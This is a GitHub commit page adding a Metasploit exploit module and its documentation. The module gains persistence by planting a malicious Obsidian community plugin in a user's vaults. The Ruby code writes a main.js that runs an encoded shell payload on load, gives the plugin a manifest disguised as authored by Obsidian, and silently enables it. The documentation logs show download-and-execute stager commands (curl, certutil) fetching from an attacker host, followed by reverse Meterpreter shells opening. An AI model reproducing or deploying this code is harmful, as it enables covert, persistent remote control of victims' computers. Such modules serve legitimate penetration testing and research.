-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #19698 from h00die/obsidian
obsidian community plugin persistence module
- Loading branch information
Showing
2 changed files
with
380 additions
and
0 deletions.
There are no files selected for viewing
124 changes: 124 additions & 0 deletions
124
documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,124 @@ | ||
## Vulnerable Application | ||
|
||
This module searches for Obsidian vaults for a user, and uploads a malicious | ||
community plugin to the vault. The vaults must be opened with community | ||
plugins enabled (NOT restricted mode), but the plugin will be enabled | ||
automatically. | ||
|
||
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. | ||
|
||
### Debugging | ||
|
||
To open the console (similar to chrome), use `ctr+shift+i`. | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
2. Start msfconsole | ||
3. Get a user shell on the target | ||
4. Do: `use multi/local/obsidian_plugin_persistence` | ||
5. Do: Select a shell which will work on your target OS | ||
6. Do: `run` | ||
7. You should get a shell when the target user opens the vault without restricted mode. | ||
|
||
## Options | ||
|
||
### NAME | ||
|
||
Name of the plugin. Defaults to being randomly generated. | ||
|
||
### USER | ||
|
||
The user to target. Defaults the user the shell was obtained under. | ||
|
||
### CONFIG | ||
|
||
Config file location on target. Defaults to empty which will search the default locations. | ||
|
||
## Scenarios | ||
|
||
### Version and OS | ||
|
||
Get a user shell. | ||
|
||
``` | ||
msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence | ||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1 | ||
session => 1 | ||
msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true | ||
verbose => true | ||
msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit | ||
[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc & | ||
[*] Fetch handler listening on 1.1.1.1:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
[*] Using plugin name: xQem | ||
[*] Target User: ubuntu | ||
[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json | ||
[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test | ||
[*] Uploading plugin to vault /home/ubuntu/Documents/test | ||
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js | ||
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json | ||
[*] Found 1 enabled community plugins (sX2sv4) | ||
[*] adding xQem to the enabled community plugins list | ||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. | ||
[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA | ||
[*] Sending payload to 2.2.2.2 (curl/7.81.0) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Sending stage (3045380 bytes) to 2.2.2.2 | ||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500 | ||
meterpreter > getuid | ||
Server username: ubuntu | ||
meterpreter > sysinfo | ||
Computer : 2.2.2.2 | ||
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` | ||
|
||
### Obsidian 1.7.7 on Windows 10 | ||
|
||
``` | ||
msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit | ||
[*] Reloading module... | ||
[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe | ||
[*] Fetch handler listening on 1.1.1.1:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA | ||
[*] Started reverse TCP handler on 1.1.1.1:4444 | ||
[*] Using plugin name: pPq0K | ||
[*] Target User: h00die | ||
[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json | ||
[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault | ||
[*] Uploading plugin to vault C:\Users\h00die\Documents\vault | ||
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js | ||
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json | ||
[*] Found 0 enabled community plugins () | ||
[*] adding pPq0K to the enabled community plugins list | ||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. | ||
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA | ||
[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0) | ||
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA | ||
[*] Sending payload to 3.3.3.3 (CertUtil URL Agent) | ||
[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500 | ||
meterpreter > getuid | ||
Server username: DESKTOP-3ASD0R4\h00die | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-3ASD0R4 | ||
OS : Windows 10 (10.0 Build 19044). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` |
256 changes: 256 additions & 0 deletions
256
modules/exploits/multi/local/obsidian_plugin_persistence.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,256 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Post::Unix # whoami | ||
include Msf::Auxiliary::Report | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Obsidian Plugin Persistence', | ||
'Description' => %q{ | ||
This module searches for Obsidian vaults for a user, and uploads a malicious | ||
community plugin to the vault. The vaults must be opened with community | ||
plugins enabled (NOT restricted mode), but the plugin will be enabled | ||
automatically. | ||
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # Module | ||
'Thomas Byrne' # Research, PoC | ||
], | ||
'DisclosureDate' => '2022-09-16', | ||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Privileged' => false, | ||
'References' => [ | ||
[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ], | ||
[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ], | ||
[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ], | ||
[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ], | ||
[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ] | ||
], | ||
'Arch' => [ARCH_CMD], | ||
'Platform' => %w[osx linux windows], | ||
'DefaultOptions' => { | ||
# 25hrs, you know, just in case the user doesn't open Obsidian for a while | ||
'WfsDelay' => 90_000, | ||
'PrependMigrate' => true | ||
}, | ||
'Payload' => { | ||
'BadChars' => '"' | ||
}, | ||
'Stance' => Msf::Exploit::Stance::Passive, | ||
'Targets' => [ | ||
['Auto', {} ], | ||
['Linux', { 'Platform' => 'unix' } ], | ||
['OSX', { 'Platform' => 'osx' } ], | ||
['Windows', { 'Platform' => 'windows' } ], | ||
], | ||
'Notes' => { | ||
'Reliability' => [ REPEATABLE_SESSION ], | ||
'Stability' => [ CRASH_SAFE ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] | ||
}, | ||
'DefaultTarget' => 0 | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('NAME', [ false, 'Name of the plugin', '' ]), | ||
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), | ||
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), | ||
]) | ||
end | ||
|
||
def plugin_name | ||
return datastore['NAME'] unless datastore['NAME'].blank? | ||
|
||
rand_text_alphanumeric(4..10) | ||
end | ||
|
||
def find_vaults | ||
vaults_found = [] | ||
user = target_user | ||
vprint_status("Target User: #{user}") | ||
case session.platform | ||
when 'windows', 'win' | ||
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"] | ||
when 'osx' | ||
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"] | ||
when 'linux' | ||
config_files = [ | ||
"/home/#{user}/.config/obsidian/obsidian.json", | ||
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json" | ||
] # snap package | ||
end | ||
|
||
config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty? | ||
|
||
config_files.each do |config_file| | ||
next unless file?(config_file) | ||
|
||
vprint_status("Found user obsidian file: #{config_file}") | ||
config_contents = read_file(config_file) | ||
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil? | ||
|
||
begin | ||
vaults = JSON.parse(config_contents) | ||
rescue JSON::ParserError | ||
vprint_error("Failed to parse JSON from #{config_file}") | ||
next | ||
end | ||
|
||
vaults_found = vaults['vaults'] | ||
if vaults_found.nil? | ||
vprint_error("No vaults found in #{config_file}") | ||
next | ||
end | ||
|
||
vaults['vaults'].each do |k, v| | ||
if v['open'] | ||
print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") | ||
else | ||
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") | ||
end | ||
end | ||
end | ||
|
||
vaults_found | ||
end | ||
|
||
def manifest_js(plugin_name) | ||
JSON.pretty_generate({ | ||
'id' => plugin_name.gsub(' ', '_'), | ||
'name' => plugin_name, | ||
'version' => '1.0.0', | ||
'minAppVersion' => '0.15.0', | ||
'description' => '', | ||
'author' => 'Obsidian', | ||
'authorUrl' => 'https://obsidian.md', | ||
'isDesktopOnly' => false | ||
}) | ||
end | ||
|
||
def main_js(_plugin_name) | ||
if ['windows', 'win'].include? session.platform | ||
payload_stub = payload.encoded.to_s | ||
else | ||
payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" | ||
end | ||
%% | ||
/* | ||
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD | ||
if you want to view the source, please visit the github repository of this plugin | ||
*/ | ||
var __defProp = Object.defineProperty; | ||
var __getOwnPropDesc = Object.getOwnPropertyDescriptor; | ||
var __getOwnPropNames = Object.getOwnPropertyNames; | ||
var __hasOwnProp = Object.prototype.hasOwnProperty; | ||
var __export = (target, all) => { | ||
for (var name in all) | ||
__defProp(target, name, { get: all[name], enumerable: true }); | ||
}; | ||
var __copyProps = (to, from, except, desc) => { | ||
if (from && typeof from === "object" || typeof from === "function") { | ||
for (let key of __getOwnPropNames(from)) | ||
if (!__hasOwnProp.call(to, key) && key !== except) | ||
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); | ||
} | ||
return to; | ||
}; | ||
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); | ||
// main.ts | ||
var main_exports = {}; | ||
__export(main_exports, { | ||
default: () => ExamplePlugin | ||
}); | ||
module.exports = __toCommonJS(main_exports); | ||
var import_obsidian = require("obsidian"); | ||
var ExamplePlugin = class extends import_obsidian.Plugin { | ||
async onload() { | ||
var command = "#{payload_stub}"; | ||
const { exec } = require("child_process"); | ||
exec(command, (error, stdout, stderr) => { | ||
if (error) { | ||
console.log(`error: ${error.message}`); | ||
return; | ||
} | ||
if (stderr) { | ||
console.log(`stderr: ${stderr}`); | ||
return; | ||
} | ||
console.log(`stdout: ${stdout}`); | ||
}); | ||
} | ||
async onunload() { | ||
} | ||
}; | ||
% | ||
end | ||
|
||
def target_user | ||
return datastore['USER'] unless datastore['USER'].blank? | ||
|
||
return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform | ||
|
||
whoami | ||
end | ||
|
||
def check | ||
return CheckCode::Appears('Vaults found') unless find_vaults.empty? | ||
|
||
CheckCode::Safe('No vaults found') | ||
end | ||
|
||
def exploit | ||
plugin = plugin_name | ||
print_status("Using plugin name: #{plugin}") | ||
vaults = find_vaults | ||
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty? | ||
vaults.each_value do |vault| | ||
print_status("Uploading plugin to vault #{vault['path']}") | ||
# avoid mkdir function because that registers it for delete, and we don't want that for | ||
# persistent modules | ||
if ['windows', 'win'].include? session.platform | ||
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"") | ||
else | ||
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'") | ||
end | ||
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js") | ||
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin)) | ||
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json") | ||
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin)) | ||
|
||
# read in the enabled community plugins, and add ours to the enabled list | ||
if file?("#{vault['path']}/.obsidian/community-plugins.json") | ||
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json") | ||
begin | ||
plugins = JSON.parse(plugins) | ||
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})") | ||
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil) | ||
print_good("Config file saved in: #{path}") | ||
rescue JSON::ParserError | ||
plugins = [] | ||
end | ||
|
||
plugins << plugin unless plugins.include?(plugin) | ||
else | ||
plugins = [plugin] | ||
end | ||
vprint_status("adding #{plugin} to the enabled community plugins list") | ||
write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins)) | ||
print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.') | ||
end | ||
end | ||
end |